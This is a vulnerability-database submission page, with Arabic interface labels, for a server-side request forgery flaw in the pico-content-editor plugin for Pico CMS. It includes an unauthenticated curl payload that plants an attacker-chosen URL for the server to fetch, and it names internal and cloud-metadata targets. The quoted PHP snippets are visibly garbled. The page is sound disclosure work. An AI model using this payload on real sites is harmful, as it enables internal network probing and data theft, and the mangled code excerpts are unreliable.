إرسال #1060144: https://github.com/nliautaud/pico-content-editor pico-content-editor 02d5ad6c820c5050c542ab9505819b5e0a0ba1af Server-Side Request Forgeryالمعلومات

عنوانhttps://github.com/nliautaud/pico-content-editor pico-content-editor 02d5ad6c820c5050c542ab9505819b5e0a0ba1af Server-Side Request Forgery
الوصفSummary: PicoContentEditor accepts arbitrary page metadata through its PicoContentEditor POST field and stores it to disk without validation. A ContentToolsUrl value supplied in the metadata is later retrieved (page metadata overrides admin configuration) and passed directly to PHP's file_get_contents() without restricting the scheme, hostname, address range, port, or redirects. Default deployments set Auth::$canSave = true, granting save access to all requesters without authentication. Vulnerable component: src/EditorsHandlers/ContentTools.php::getLanguageContent(), lines 38–44; src/Edits.php, lines 42–53, 110–127; PicoContentEditor.php, lines 219–228. Affected file and parameter: src/EditorsHandlers/ContentTools.php — ContentToolsUrl value read from page metadata. src/Edits.php — POST parameter PicoContentEditor. Technical description: The save handler decodes $_POST['PicoContentEditor'] as JSON, copies meta without validation, and writes it to the page's content file. On any subsequent render, getLanguageContent() resolves ContentToolsUrl from the page's own metadata (which takes precedence over admin config via PicoContentEditor.php:219-228) and passes the resulting path to file_get_contents(). No URL scheme, hostname, address range, port, or redirect policy is enforced at any point. Vulnerable code: // src/EditorsHandlers/ContentTools.php:39-40 path="path="libUrl/translations/lang.json";returnfilegetcontents(lang.json";returnfileg​etc​ontents(path); // no URL validation // PicoContentEditor.php:219-228 — page metadata wins if (pageMeta && isset(pageMeta[clow][clow][name])) { return pageMeta[pageMeta[clow][$name]; // page-controlled value returned } // src/Edits.php:42-53 — raw POST decoded directly query=jsondecode(query=jsond​ecode(_POST[self::KEY]); this−>meta=isset(this−>meta=isset(query->meta) ? $query->meta : null; Steps to reproduce: Deploy Pico CMS 2.1.4 with PicoContentEditor enabled and no PicoUsers (default: Auth::$canSave = true). Start a controlled HTTP listener on the Docker host: python3 -m http.server 8890. Send unauthenticated POST to any page: curl -s -X POST http://127.0.0.1:9092/index -d 'PicoContentEditor={"meta":"Title: SSRF Lab\nPicoContentEditor:\n ContentToolsUrl: http://host.docker.internal:8890/README.md?\n Language: en","regions":[]}' Observe: {"status":[{"state":true,"message":"Page meta saved<br>Reload the page to see changes."}]} Send GET to the page: curl -s http://127.0.0.1:9092/ Observe listener log: 172.17.0.3 - - [26/Oct/2026 17:50:07] "GET /README.md?/translations/en.json HTTP/1.1" 404 - Fetched content (when available) appears in Pico's HTTP response (non-blind). Impact: An attacker can make the web server issue HTTP requests to attacker-specified destinations unreachable directly from the internet, including internal administration endpoints, loopback applications, HTTP APIs on private network ranges, and cloud instance metadata services (x.x.x.x, fd00:ec2::254). The plugin assigns the fetched response to translation data; with the {{ content_editor }} theme integration, the content is returned in Pico's HTTP response body, making this a non-blind SSRF. CVSS 3.1: 7.5 High — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N CWE: CWE-918 (Server-Side Request Forgery)
المصدر⚠️ https://github.com/vinniboy021-blip/Advisory/blob/main/pico-content-editor-ssrf.md
المستخدم
 vinniboy021 (UID 100165)
ارسال27/10/2026 06:06 PM (1 شهر منذ)
الاعتدال25/11/2026 04:56 PM (29 days later)
الحالةتمت الموافقة
إدخال VulDB443912 [nliautaud pico-content-editor حتى 02d5ad6c820c5050c542ab9505819b5e0a0ba1af ContentTools Editor ContentTools.php getLanguageContent ContentToolsUrl تجاوز الصلاحيات]
النقاط20

Do you know our Splunk app?

Download it now for free!